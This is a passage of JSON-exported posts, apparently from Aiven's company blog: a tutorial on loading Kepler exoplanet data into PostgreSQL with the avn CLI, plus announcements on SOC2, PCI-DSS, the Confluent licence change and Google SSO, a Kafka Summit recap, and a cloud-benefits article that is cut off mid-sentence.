{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:38Z","_id":"5HvSGI64xMitqiheeX6a66","_rev":"V5UdSzFEWrLT7ZlMFOAdVJ","_type":"post","_updatedAt":"2023-08-03T10:37:12Z","authors":[{"_key":"3gXeb4zb5wJU5CvLnVioH","_ref":"3gXeb4zb5wJU5CvLnVioH","_type":"reference"}],"body":"[PostgreSQL](https://aiven.io/postgresql \"Aiven for PostgreSQL product page\") is and remains one of our most popular and growing storage platforms; other storage technologies come and go but modern Postgres is a solid choice for so many applications. When you spin up your first Aiven PostgreSQL, you'll want to take some time to play with the features ... but there's a problem. Your new shiny database is empty.\n\nFinding and using some open datasets is a great way to fill this gap, and one option is go try the [Kaggle](https://www.kaggle.com/) platform. It's a place to find open data, advice about data science, and some competitions you can participate in to hone your skills. There's quite a selection of datasets to choose from, but today we'll be using the [exoplanets data](https://www.kaggle.com/nasa/kepler-exoplanet-search-results) from the Kepler mission. You'll need a (free) account to log in and download the data. Go ahead and extract the zip file too, we'll be using `cumulative.csv` for the example in this post.\n\nHere's the process in brief:\n- [Get started with Aiven](#get-started-with-aiven)\n- [Create PostgreSQL service](#create-postgresql-service)\n- [Adding CSV data to PostgreSQL](#adding-csv-data-to-postgresql)\n- [Dreaming of Exoplanets](#dreaming-of-exoplanets)\n\n## Get started with Aiven\n\nIf you are not already an Aiven user, you can [sign up for an Aiven account](https://console.aiven.io/signup) to follow the steps in this post - we will wait for you!\n\nWe will also be using the [Aiven CLI](https://github.com/aiven/aiven-client). This tool requires Python 3.6 or later, and can be installed from PyPI:\n\n```\npip install aiven-client\n```\n\nYou will also need to authenticate your Aiven account against the CLI tool. Replace your own details in the command below:\n\n```\navn user login \u003cemail@example.com\u003e\n```\n\nYou have everything you need to create an Aiven database in the cloud.\n\n## Create PostgreSQL service\n\nA good first step for a new project is to create a project to keep the services in. All it needs is a name:\n\n```\navn project create exoplanets\n```\n\nAiven offers many options when creating services but to get us going quickly, we'll use the newest postgres available and the smallest package, called hobbyist. One of the most fun things though is being able to choose any cloud platform you like so take a moment to check the list and copy the `CLOUD_NAME` field of your favorite:\n\n```\navn cloud list\n```\n\nI chose `google-europe-west1` for my example, but you can replace that with the cloud you chose. Here is the command to run to create the postgres database:\n\n```\navn service create -t pg -p hobbyist --cloud google-europe-west1 pg-exoplanets\n```\n\nIt takes a few minutes for the node to be ready, but the Aiven CLI has a handy \"wait\" command that doesn't return until the service is ready to talk to us. This is less critical when we're running the commands by hand as we do here, but it's super useful when your CI system is spinning up the data platforms by itself!\n\n```\navn service wait\n```\n\nWhen the command returns, our PostgreSQL cluster is ready to use. Let's create a database to hold the sample data; the command below creates one named \"exoplanets\":\n\n```\navn service database-create --dbname exoplanets pg-exoplanets\n```\n\nNow we have our own sad and empty database, let's look at the sample data and get it imported.\n\n## Adding CSV data to PostgreSQL\n\nPostgreSQL has built-in support for importing CSV data into an existing table, but we don't have the table structure, just a CSV. Luckily there's a tool for that - [ddlgenerator](https://github.com/catherinedevlin/ddl-generator) is another Python commandline tool.\n\nHere's how to install the `ddlgenerator` tool and then generate the `CREATE TABLE` statement from the CSV we downloaded earlier:\n\n```\npip install ddlgenerator\nddlgenerator postgres cumulative.csv \u003e create.sql\n```\n\nHave a look inside the file and you will see that we have the structure we need to explain to PostgreSQL how to hold the data. The `avn service cli` command will give us a `psql` prompt on the new database:\n\n```\navn service cli pg-exoplanets\n```\n\nFrom within `psql` we can connect to the database we created, and then run the SQL file to create the table structure:\n\n```\n\\c exoplanets\n\\i create.sql\n```\n\nAdding the final piece to the puzzle, and still from the `psql` prompt, the next command brings in the CSV data:\n\n```\n\\copy cumulative from data/cumulative.csv csv header\n```\n\nNice work! The `cumulative` table should now have some data for you to play with!\n\n## Dreaming of Exoplanets\n\nNow you have a database full of measurements of exoplanets taken by the Kepler Space Telescope. If you're not already familiar with the project, the [NASA mission page](https://www.nasa.gov/mission_pages/kepler/overview/index.html) is worth a read. The mission went into a second phase when one of the controls failed, which serves to remind us that engineering systems we can see and touch, or at least ssh into, is much easier gig than operating in space!\n\nYou can explore the dataset, which describes observations and compares the Kepler assessment of each exoplanet with its official status in the pre-existing literature. For example, try this to see the false-positives identified by Kepler:\n\n```sql\nselect kepler_name, koi_pdisposition from cumulative where koi_disposition = 'CONFIRMED' and koi_pdisposition = 'FALSE POSITIVE';\n```\n\nYou can also connect this data to other tools to use the dataset further. Either grab the connection details from the web console, or use [jq](https://stedolan.github.io/jq/) with `avn` for a one-liner:\n\n```\navn service get pg-exoplanets --json | jq \".service_uri\"\n```\n\n## Wrapping up\n\nGood cloud experimentation practice suggests that if you've finished with your exoplanets database, you can delete it:\n\n```\navn service terminate pg-exoplanets\n```\n\nFor even more fun and learning, how about one of these resources:\n\n* [Kaggle Open Datasets](https://www.kaggle.com/datasets) in case you don't fancy exoplanets, there are some excellent alternatives here\n* In our documentation you can find [instructions for migrating your existing PostgreSQL to Aiven](https://help.aiven.io/en/articles/4358591-postgresql-migration-to-aiven)\n* More about the [Aiven CLI, `avn`](https://github.com/aiven/aiven-client#aiven-client-)\n* Need more PostgreSQL? Check out our [introduction to PostgreSQL](https://aiven.io/blog/an-introduction-to-postgresql) post\n* Go on to [connect to your Aiven for PostgreSQL service](https://aiven.io/blog/aiven-for-postgresql-for-your-go-application \"use Go to Aiven for PostgreSQL for your Go application\")\n\nNot using Aiven services yet? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog/feed.xml) and [blog](https://aiven.io/blog/feed.xml) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.","categories":[{"_key":"5Ry1OHE6tZ0LKPQxJ9XkJd","_ref":"5Ry1OHE6tZ0LKPQxJ9XkJd","_type":"reference"},{"_key":"1vrpqSQEi7vREEAlHVVpOG","_ref":"1vrpqSQEi7vREEAlHVVpOG","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-56253300119a9afc63d7e6a96e3d65a29a49e9dc-1567x844-png","_type":"reference"}},"publishedAt":"2021-02-17T00:00:00.000Z","seo":{"metaDescription":"In this post, Lorna Mitchell populates an empty PostgreSQL database for testing with cool data about exoplanets. Read to learn how!","metaImage":{"alt":"","asset":{"_ref":"image-56253300119a9afc63d7e6a96e3d65a29a49e9dc-1567x844-png","_type":"reference"}},"metaTitle":"Discover exoplanets with PostgreSQL® sample data"},"slug":{"_type":"slug","current":"/blog/discover-exoplanets-with-postgresql"},"subtitle":"In this post, Lorna Mitchell populates an empty PostgreSQL database for testing with cool data about exoplanets. Read to learn how!","title":"Discover exoplanets with PostgreSQL® sample data"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"7GXomoS4krShzWGSVkIWrU","_rev":"LX2G4IZzKdBcRydHgUq6mf","_type":"post","_updatedAt":"2023-07-26T10:31:34Z","authors":[{"_key":"LFe7wYXE7xFFvwFXOIwwX","_ref":"LFe7wYXE7xFFvwFXOIwwX","_type":"reference"}],"body":"Security has been hard coded into the DNA of Aiven from day one. And because of our commitment to the secure transfer and storage of customer data, earning and maintaining compliance for the most stringent standards has been a relatively smooth process for us.\n\nThese standards not only provide a verifiable seal of trust for companies looking for vendors that fit specific requirements, they also provide an opportunity for us to audit our policies and processes to ensure that we are consistently doing what we need to be doing. \n\nAfter pursuing our [ISO/IEC 27001:2013 certification](https://aiven.io/blog/aiven-earns-iso-27001-certification), we decided to focus our efforts on [SOC2 Type I attestation](https://aiven.io/blog/aiven-adds-soc2-to-list-of-security-standards), earning it in October of last year. Now, we’re happy to announce that we’ve earned SOC2 Type II attestation. Let’s quickly look at what it is.\n\n## What is SOC2 Type II and why is it important?\n\nSimply put, SOC2 Type I attests that you have the security controls in place to meet the demands expected by customers — it's an entry-point to SOC2. __Type II__ attests that you are effectively maintaining the same controls during the specific audit period.\n\nAs a rolling process, an organization trying to maintain the attestation needs to be evaluated every 6 months in perpetuity — the first of which we just completed. This makes SOC2 Type II attestation one of the most difficult compliance standards to maintain.\n\n## Wrapping up\n\nWe’ve always prided ourselves on our [security and compliance](/security-compliance) standards and are happy that they continue to be validated by the certifications and attestations we’ve successfully pursued — it's also an opportunity to make sure that we are doing everything we need to.\n\nTo stay up-to-date with the goings on at Aiven, make sure to follow our [blog](/blog/feed.xml) or [changelog](/changelog/feed.xml) RSS feeds, and follow us on [Twitter](https://twitter.com/aiven_io) or [LinkedIn](https://www.linkedin.com/company/aiven/). Not yet a customer and looking for secure, performant cloud data infrastructure? [Sign up for our free, no obligation trial!](https://console.aiven.io/signup)","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"2mBcgNf20QQ0rW0XtSjzVs","_ref":"2mBcgNf20QQ0rW0XtSjzVs","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-51470b6f9b757b9dad3634ce71c466e0b5f76f05-752x405-png","_type":"reference"}},"publishedAt":"2020-04-06T00:00:00.000Z","seo":{"metaDescription":"SOC2 Type I is an entry point, SOC2 Type II ensures that you're continuing to do what is needed. Find out what this means for Aiven customers.","metaImage":{"alt":"","asset":{"_ref":"image-51470b6f9b757b9dad3634ce71c466e0b5f76f05-752x405-png","_type":"reference"}},"metaTitle":"Aiven adds SOC2 Type II to list of standards"},"slug":{"_type":"slug","current":"/blog/aiven-earns-soc2-type2-attestation"},"subtitle":"SOC2 Type I is an entry point, SOC2 Type II ensures that you're continuing to do what is needed. Find out what this means for Aiven customers.","title":"Aiven adds SOC2 Type II to list of standards"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"5v0sd850SX3yeH6O8wX9HD","_rev":"ZgPiUE9lJ1tcRKuFnZQdFB","_type":"post","_updatedAt":"2024-07-11T09:01:18Z","authors":[{"_key":"2CAEpbT3LuYkmPFk5o0m1L","_ref":"2CAEpbT3LuYkmPFk5o0m1L","_type":"reference"}],"body":"On Friday December 14th, 2018, Confluent [announced](https://www.confluent.io/blog/license-changes-confluent-platform) they're changing licenses for some Confluent Platform components from the open source Apache License version 2.0 to a proprietary license. There’s no effect on Apache Kafka itself, which remains governed by Apache Software Foundation and licensed under Apache License version 2.0.\n\nWhile Aiven does utilize some of the affected components in our services, **there is no impact on your services or our ability to offer Aiven for Apache Kafka and the related additional services as they have been available before.**\n\n## License change details\n\nConfluent is changing the license for some of the components of the Confluent Platform from Apache License version 2.0 to Confluent Community License. These components include software that Aiven has offered as a service, namely Schema Registry, Kafka REST as well as JDBC, OpenSearch and S3 connectors.\n\nThe new Confluent Community License is a proprietary software license, specifically excluding *\"making available any software-as-a-service, platform-as-a-service, infrastructure-as-a-service or other similar online service that competes with Confluent products or services that provide the Software.\"*\n\nWhile the license change does apply to all future versions of the specific software, it doesn’t alter the licensing status of the components in the versions that have been released and utilized by Aiven.\n\n## Aiven for Apache Kafka services\n\nFor the time being, we will continue operate your clusters and make available Aiven services with the Apache License version 2.0 licensed versions of the components as necessary. We are committed and ready to maintain and possibly address bugs and/or security issues with the versions that we utilize.\n\nAiven is committed to providing a data platform based on open source software. We are in the process of formulating our longer term plan and actions with respect to the recent changes, and will communicate the plan in January.\n\n## Components not affected\n\nThe following components are governed by the Apache Software Foundation, and thus not affected:\n\n* Apache Kafka\n* Kafka Connect (see below for remarks on some specific connectors)\n* MirrorMaker\n\nThe following components are part of the Confluent Platform, but remain open source under the Apache License version 2.0:\n\n* Avro and JSON serializers and converters\n* Schema Registry client components\n\n## Components affected\n\nThe following add-on components are part of the Confluent Platform and are only distributed under a proprietary license starting from version 5.1 inwards:\n\n* Schema Registry\n* Kafka REST\n* Kafka Connect connectors by Confluent:\n\n  * JDBC\n  * OpenSearch\n  * S3\n\n\n## Further reading \n\n- [Apache Kafka®: Confluent vs self-managed vs Aiven](https://aiven.io/blog/confluent-kafka-vs-apache-kafka-vs-aiven)","categories":[{"_key":"3DG5ZYx4kaoRquQmn345yY","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"},{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-1335e1a409ae973cc1e54e9ef2d7025fa306603e-2500x1308-png","_type":"reference"}},"publishedAt":"2018-12-18T00:00:00.000Z","seo":{"metaDescription":"Aiven is committed to an open source platform, users not affected by recent license changes by other vendors.","metaImage":{"alt":"","asset":{"_ref":"image-1335e1a409ae973cc1e54e9ef2d7025fa306603e-2500x1308-png","_type":"reference"}},"metaTitle":"Aiven statement on license changes for the Confluent Platform"},"slug":{"_type":"slug","current":"/blog/aiven-statement-on-kafka-license"},"subtitle":"Aiven is committed to an open source platform, users not affected by recent license changes by other vendors.","title":"Aiven statement on license changes for the Confluent Platform"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:38Z","_id":"3BTBvRIKQJ9GNeTL0gx9hS","_rev":"4xxJDWP8Sw6o7zBrUAiHyR","_type":"post","_updatedAt":"2023-08-03T10:36:57Z","authors":[{"_key":"7aLlIDft447BvdfSDjeIdu","_ref":"7aLlIDft447BvdfSDjeIdu","_type":"reference"}],"body":"Aiven takes data security very seriously. We practice what we preach in our own services, as evidenced by our existing SOC 2, ISO 27001, GDPR and HIPAA compliances. But we’re also committed to helping our customers meet their own data security requirements and protect their own customers’ data by ensuring the security of the environments we provide. \n\nTo that end, Aiven can now proudly state that we can provide fully PCI-DSS compliant environments for our customers. This much requested security standard is available for all Aiven services on AWS, GCP and Microsoft Azure. \n\nIn terms of data security and compliance, this makes us the most comprehensively covered DBaaS!\n\nSo--we’re compliant so you can be compliant. Let’s talk about why you should care.\n\n## What PCI-DSS is and why it matters\nPCI-DSS stands for Payment Card Industry Data Security Standard. This global security standard for information is designed to ensure that companies processing, storing, or transmitting payment card information maintain a secure environment and is a mandated standard for many financial applications. \n\nIt has also gained significance across all industries for companies standing up to the highest security standard as it offers good guidelines for general information security, too. Even companies who have no need to secure payment transactions can benefit from going compliant, and it’s an easy way to communicate the level of their network security for their customers.\n\nWhile PCI-DSS compliance may not be required by all customers, most of the enhancements we have implemented will result in improved levels of security for all customers.\n\n### How to get started\nIf your application requires a PCI-DSS compliant environment, reach out to sales@aiven.io to begin the process of enabling the required security options on the Aiven platform.\n\n## Wrapping up\nPCI-DSS readiness adds to Aiven’s existing compliances and is a natural step in our quest of serving our customers within the most up-to-date security frameworks required by our customers, even in the most regulated industries. Be prepared to hear similar news from us also in the future!\n\nStay up-to-date with product updates, as well as new services by subscribing to our [changelog](https://aiven.io/changelog/feed.xml) and [blog](https://aiven.io/blog/feed.xml) RSS feeds, or follow us on [LinkedIn](https://www.linkedin.com/company/aiven/) or [Twitter](https://twitter.com/aiven_io).\n\nLooking for PCI-DSS compliant, performant, managed cloud data infrastructure? Start by signing up to a [free, no obligation trial](https://console.aiven.io/signup)!","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"2mBcgNf20QQ0rW0XtSjzVs","_ref":"2mBcgNf20QQ0rW0XtSjzVs","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-2df65d7110b2a2167452894020c1878fae3c5197-1567x844-png","_type":"reference"}},"publishedAt":"2020-10-22T00:00:00.000Z","seo":{"metaDescription":"PCI-DSS compliance opens the door to even the most regulated industries to provide services securely through Aiven. Find out what this means for your business.","metaImage":{"alt":"","asset":{"_ref":"image-2df65d7110b2a2167452894020c1878fae3c5197-1567x844-png","_type":"reference"}},"metaTitle":"Aiven services are now PCI-DSS compliant"},"slug":{"_type":"slug","current":"/blog/pci-dss-announcement"},"subtitle":"PCI-DSS compliance opens the door to even the most regulated industries to provide services securely through Aiven. Find out what this means for your business.","title":"Aiven services are now PCI-DSS compliant"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:39Z","_id":"DTT8yFt8RFxS6BSiZvRdZ","_rev":"WH90lHWEK1Lnrn0DUuQgHv","_type":"post","_updatedAt":"2023-08-04T18:13:21Z","authors":[{"_key":"3dImkQse2fXRL7zTLzAoa1","_ref":"3dImkQse2fXRL7zTLzAoa1","_type":"reference"}],"body":"## Kafka Summit 2022 London: a recap\n\nThe event that everyone in the Apache Kafka® community was waiting for was back! [Kafka Summit 2022](https://www.kafka-summit.org/events/kafka-summit-london-2022) has been a blast with over 1500 people joining the O2 location in east London for a couple of days of workshops, talks and networking. Aiven was present with a booth and a couple of talks by our Senior Software Engineer Olena Babenko and myself, Francesco Tisiot, Developer Advocate.\n\n\u003c!-- ![Photo of the Aiven Team](aiven-ppl.jpeg) --\u003e\n\u003c!-- Contentful asset link --\u003e\n![Photo of the Aiven team](//cdn.sanity.io/images/sczeoy4w/production/dc59d11c92b382912fc0c4cc464db2fb1f2cdce4-1051x857.jpg)\n\n### The Keynote: Apache Kafka® and the modern data flow\n\nThe keynote by Jay Kreps covered how Apache Kafka fits the modern data flow, touching interesting points about it being streaming (who wants to go back to batch?), decentralised, declarative (hi Apache Flink® SQL!), developer oriented, and governed and observable. It's nice to see how different companies are evolving over the same concepts in different ways, and we at Aiven are no exception.\n\nWe've always been big fans of **Streaming**, the times of night batches are gone and nowadays with [Apache Kafka](https://aiven.io/kafka), [Kafka Connect](https://aiven.io/kafka-connect) with a growing set of connectors and [MirrorMaker 2](https://aiven.io/kafka), developers have all they need to move their data in streaming mode.\n\nWhen talking about **Decentralization** Jay correctly mentioned that the times of unique data pipelines within a company are gone: data is flowing across departments and taking different shapes. It's important to give developers the freedom of choosing the best data platform to fulfil their needs and to enable a fast and reliable connection between services. Need a relational database? pick PostgreSQL® or MySQL. A time series database? There is M3. Search engines? Why not try OpenSearch®! How to connect services? Pick between linear data pipelines with Kafka Connect or add transformation capabilities with Apache Flink®.\n\nThe **Declarative** concept was spot on in my opinion: developers should aim to write code that tells **what** they want to achieve and not **how**. SQL is the perfect language for this, enabling a wide range of developers to describe the shape of the output data without having to worry about what's happening in the back. We are enabling the SQL interface in [Aiven for Apache Flink®](https://aiven.io/flink) to allow data practitioners to define streaming pipelines in the language they love.\n\nThe fourth point Jay mentioned is that tools should be **Developer oriented** and therefore meet developers where they are. This is basically a slogan for Open Source Software that developers can embrace without licensing limits and integrate with their favourite tools. Even more, building managed services and pre-packaged integrations enables developers to spend less time on plumbing allowing them to focus on building.\n\nThe last concept covered during the keynote was about data assets being **Governed \u0026 observable**: in this era of ever growing data, it's easy to lose control over the assets. Therefore developers should have tools to keep an eye on their data landscape, this is where prebuilt [integrations to internal and external services](https://aiven.io/integrations-and-connectors) and an accessible [console](https://console.aiven.io/) can make the difference. We're cooking more on this, so stay tuned!\n\n### Breakout sessions\n\nThe inner beauty of tech conferences lies in the talks and Kafka Summit is no different! An amazing variety of topics ranging from how [Apache Kafka is used in Space](https://www.kafka-summit.org/sessions/kafka-in-space) to the details on [how to contribute to Apache Kafka](https://www.kafka-summit.org/sessions/developers-guide-to-contributing-code-to-kafka) gave attendees plenty of options to dig more into the Kafka world.\n\nWe attended several sessions and enjoyed particularly:\n\n* [Keep Your Cache Always Fresh with Debezium!](https://www.kafka-summit.org/sessions/keep-your-cache-always-fresh-with-debezium) by\nGunnar Morling going over using Kafka and the Debezium connector to keep a cache fresh, with a detailed example based on Infinispan. It's incredible how Gunnar manages to include soooooo much information in 45 minutes, definitely a session to watch, rewatch and rewatch again to grasp all the bits!\n* [Bringing Kafka Without Zookeeper Into Production](https://www.kafka-summit.org/sessions/bringing-kafka-without-zookeeper-into-production) by Colin McCabe covering a topic we'll see more and more in the future with Zookeper-less Kafka.\n* [Practical Pipelines: A Houseplant Soil Alerting System with ksqlDB](https://www.kafka-summit.org/sessions/practical-pipelines-a-houseplant-soil-alerting-system-with-ksqldb) by Danica Fine showing a real example of a streaming application to save plants' lives. From the plumbing of IoT devices and a Raspberry PI, to the alerting threshold definition and the streaming calculations, Danica showed a complete example of an end-to-end streaming data pipeline.\n\nAs Aiven we did our part in the show with Olena Babenko sharing several tips on how to optimise [Apache Flink applications over Kafka](https://www.kafka-summit.org/sessions/tips-for-apache-flink-on-kafka). Olena covered important topics like when to choose Flink vs Kafka connectors, how to manage imbalanced topics and how to understand if Flink is behaving well.\n\n\u003c!-- ![Olena on stage](olena.jpeg) --\u003e\n\u003c!-- Contentful asset link --\u003e\n![Olena on stage](//cdn.sanity.io/images/sczeoy4w/production/705cdfb7c3c1f21ee80f3bda29a45ed2c675ac78-1021x430.jpg)\n\nYours truly was also speaking with a talk aimed at [understanding the limits of the JDBC connector and how the Debezium connector can save the day](https://www.kafka-summit.org/sessions/jdbc-source-connector-what-could-go-wrong) sharing the real story of a friend called Mario.\n\n\u003c!-- ![Francesco on stage](francesco.jpg) --\u003e\n\u003c!-- Contentful asset link --\u003e\n![ Francesco on stage](//cdn.sanity.io/images/sczeoy4w/production/063887a2878e3d4f7e29b958b180d59f5d90e6e4-2016x866.jpg)\n\nOur booth was very busy during the event with several people being interested in knowing what Aiven is about and our story on Apache Kafka. Also, looks like our socks and stickers rock, crabby FTW!\n\n\u003c!-- ![Booth with socks](booth.jpg) --\u003e\n\u003c!-- Contentful asset link --\u003e\n![Booth with socks](//cdn.sanity.io/images/sczeoy4w/production/a1e3a626378ef2b85a3010f268925825e43ef8ab-689x484.jpg)\n\n### Community\n\nThe magic fact happened towards the end of each session. Questions, interactions, one-to-ones, networking: all the things we missed from in-person conferences were back enabling people to interact with each other and feel the sense of community that online events can hardly deliver. I had the pleasure of meeting IRL people that I've been interacting with for years on social media, and make connections with new interesting humans.\n\nMeeting people with similar interests (can go from Kafka to anything else) can create strong and lasting bridges!\n\n\u003c!-- Contentful asset link --\u003e\n\u003e [![Viktor Gamov and Olena Babenko](//cdn.sanity.io/images/sczeoy4w/production/e2df684e3fd8db097482381a6c417a3d7ce6c991-425x567.jpg)](https://twitter.com/gAmUssA/status/1518624749194293248)\n\u003e\n\u003e \"Setting the fashion trends in [#kafkasummit](https://twitter.com/hashtag/kafkasummit) since 2017. At [@aiven_io](https://twitter.com/aiven_io) booth, Viktor Gamov 🦍 (@gAmUssA) [April 25, 2022](https://twitter.com/gAmUssA/status/1518624749194293248)\"\n\n### Future of Kafka Summit\n\nWhat will be the future? As originally written by Franz Kafka, “things sometimes change shape”. This also applies to Kafka Summit: the next conference is going to be called \"Current\" and open to a broader set of technologies in the data streaming world! The [Call for Papers](https://sessionize.com/current-2022/) is already open, and we are really looking forward to it!\n","categories":[{"_key":"55hnoBwSNkFBrvJaZvuhgt","_ref":"55hnoBwSNkFBrvJaZvuhgt","_type":"reference"},{"_key":"8R60m8L4BFeRA01yrF7eD","_ref":"8R60m8L4BFeRA01yrF7eD","_type":"reference"},{"_key":"3DG5ZYx4kaoRquQmn345yY","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"},{"_key":"1wgqjrglPyMfEWcMYN3YcQ","_ref":"1wgqjrglPyMfEWcMYN3YcQ","_type":"reference"}],"internalBlogProcess":"technical","mainImage":{"alt":"","asset":{"_ref":"image-ae12cb16f157392e104097030b5b13ee3fbdc66c-1567x844-png","_type":"reference"}},"publishedAt":"2022-05-05T00:00:00.000Z","seo":{"metaDescription":"Read on to find out about the best bits of this year's London Kafka Summit, back as an in-person event.","metaImage":{"alt":"","asset":{"_ref":"image-ae12cb16f157392e104097030b5b13ee3fbdc66c-1567x844-png","_type":"reference"}},"metaTitle":"Looking back at Kafka Summit 2022 London"},"slug":{"_type":"slug","current":"/blog/kafka-summit-2022-recap"},"subtitle":"Read on to find out about the best bits of this year's London Kafka Summit, back as an in-person event.","title":"Looking back at Kafka Summit 2022 London"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"6KOi4enWjIsDBm81fQ6pRj","_rev":"CK1sLU2mnwa3vmbYWEatMB","_type":"post","_updatedAt":"2022-09-08T16:15:40Z","authors":[{"_key":"LFe7wYXE7xFFvwFXOIwwX","_ref":"LFe7wYXE7xFFvwFXOIwwX","_type":"reference"}],"body":"Users can now use their personal and corporate Google account credentials to sign up and access the Aiven platform through Google OAuth Single Sign-On (SSO), making account management much simpler and efficient.\n\n[With over 4 million organizations using G Suite](https://www.reuters.com/article/us-alphabet-gsuite/googles-g-suite-is-no-microsoft-killer-but-still-winning-converts-idUSKBN1FL3ZX), this was a bit of a no brainer—especially when coupled with the fact that companies are using anywhere from a couple to over 100 applications, depending on company size.\n\n\u003e That makes username and password management extremely complex.\n\nGoogle SSO goes a long way in removing this. But, what’s really cool about supporting it on the Aiven platform is that signing up and logging in can now be handled in a similar way to launching services: __with the click of a button.__\n\n![Signing up to Aiven with Google OAuth SSO](//cdn.sanity.io/images/sczeoy4w/production/3d98af88665183f85724e09ec59c626584059450-902x759.png)\n\nAnd we’re not finished, Google SAML is next. So, enjoy your new streamlined process and don’t forget to stay up-to-date with Aiven news by signing up to our [changelog](/changelog/feed.xml) and [blog](/blog/feed.xml) RSS feeds or following us on [Twitter](https://twitter.com/aiven_io) or [LinkedIn](https://www.linkedin.com/company/aiven/).\n","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"3hq53G6n8APkncElOzXCgv","_ref":"3hq53G6n8APkncElOzXCgv","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-b2a3cf31da8861a41f509522164042c29d7d55b9-752x405-png","_type":"reference"}},"publishedAt":"2019-03-08T00:00:00.000Z","seo":{"metaDescription":"We're excited to announce that Aiven now supports Google Oauth SSO. Check out this post to get more information on why this is important.","metaImage":{"alt":"","asset":{"_ref":"image-b2a3cf31da8861a41f509522164042c29d7d55b9-752x405-png","_type":"reference"}},"metaTitle":"Aiven now supports Google OAuth SSO"},"slug":{"_type":"slug","current":"/blog/aiven-now-supports-google-oauth-sso"},"subtitle":"We're excited to announce that Aiven now supports Google Oauth SSO. Check out this post to get more information on why this is important.","title":"Aiven now supports Google OAuth SSO"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:38Z","_id":"UnSbtfuJBy9Px9UJftBUd","_rev":"rmwlP4nleGzuGoL3W8oLNQ","_type":"post","_updatedAt":"2023-05-16T11:21:16Z","authors":[{"_key":"7aLlIDft447BvdfSDjeIdu","_ref":"7aLlIDft447BvdfSDjeIdu","_type":"reference"}],"body":"Implementing your online, globally accessible service can seem daunting. Especially if your background is in the traditional industries, your first instinct may be to go DIY. You buy the hardware and software, set up the connections, install everything, and hope that everything comes together on launch day.\n\nThis is certainly a valid approach in certain circumstances. If you’re doing gene sequencing or storing sensitive surveillance data for the defence forces, your particular situation is rare or unique. Then it might make sense to build your own environment and store your own data at a location that no one can get to. And then this article is not for you.\n\nThis article is for the rest of us with less specialized data system needs. Most companies are able find someone who already provides what you’d otherwise need to build.\n\n(Note: to get more familiar with the terminology, why not check out our article [Public v. private clouds - what’s the difference?](https://aiven.io/blog/public-v-private-clouds-whats-the-difference)\n\nSo let’s see: what are some of the best reasons to build on top of a public cloud service?\n## 1. Lower Total Cost of Ownership\nSaving money is usually a solid business decision. The total cost of ownership over the lifetime of a service is lower for a public cloud service. \n\nIn a public cloud service, the focus of your company can stay where it belongs: your core business. Without having to buy hardware and licenses, or budget for upgrades and maintenance. Maintenance, scaling and upgrades don’t involve downtime and work. That work can now go into your own products and services and generate revenue.\n## 2. Only pay for what you use\nYes, more money savings! With a public cloud service you’re only paying for what you use. You’re not paying for downtime, whether planned or unplanned. You’re not paying for extra capacity. You’re not paying for redundancy in case of failure. You’re only paying for the time that your services are actually running.\n## 3. Easy to set up\nAnd a third way to save money, we’re on a roll here. The savings start on day 1, when you don’t need an army of admins and developers to set up your system. Sure, there’s some planning and stuff involved, but the actual setup? A piece of cake. At Aiven, for example, it takes a total of three (3) clicks to get a new service up and running. (Yes, we counted.) \n\nAnd even after the setup phase, you need fewer workers on your payroll to maintain and troubleshoot the system. This means less investment both salary-wise and in training costs.\n## 4. No maintenance\nA public cloud service is maintenance-free for you. You know the mythical “Someone Else” that you wish would handle all the boring stuff? We have that famous Someone Else on staff to take it off your hands. \n\nWhat’s more, that Someone has training and experience in maintaining that particular system.\n## 5. Better security\nA part of the hassle of maintaining your in-house systems is data security. Not only do you have to make sure that all the latest security patches are in place. You also need to make sure that all data is encrypted in traffic, as well as during storage. Going with a public cloud service means that’s another line item in your budget that you can cross out.\n\nAnd if your business requires compliance certifications (such as PCI-DSS), a public cloud provider is better placed to apply for them. [Certification is another pain you can do without](https://aiven.io/blog/data-security-compliance-in-the-cloud \"Data security compliance in the cloud\").\n## 6. Best uptime\nA public cloud service offers better uptime than a proprietary system. They have to, because it’s literally the cloud company’s business to make sure that their services stay up. Their army of engineers, thoroughly familiar with their systems, will descend on any issue without delay and blow it out of the water. Kapow!\n## 7. No-risk failure\nIt’s true that the issues may sometimes stymie even the expert company. But remember: as their customer, that risk is not yours. \n\nYou have an SLA in place guaranteeing a certain amount of uptime (99.99% for Aiven). The cloud company will also compensate you for any downtime that exceeds it. \n## 8. No long contracts\nLong-term solutions can be a pain. What started out as a great answer to your needs may morph into a problem of its own. A software product may be updated in a way that doesn’t fit your business model. Or you may find that the business landscape changes and your service needs to change as well. \n\nAt the same time, new products and services come on the market that you’d like to try out, but you’re not going to fork out the price of two solutions at once. \n\nA public cloud service won’t lock you into a solution that has become suboptimal. And if you’ve stayed on the open source side of the business, your data will remain easy to migrate to a new system if the need arises.\n## 9. Easy to scale up or down\nIn a DIY system, scaling is often a problem. When you plan your setup, you base your requirements on your best guess for greatest required throughput. As a result, you may end up either with extra capacity or 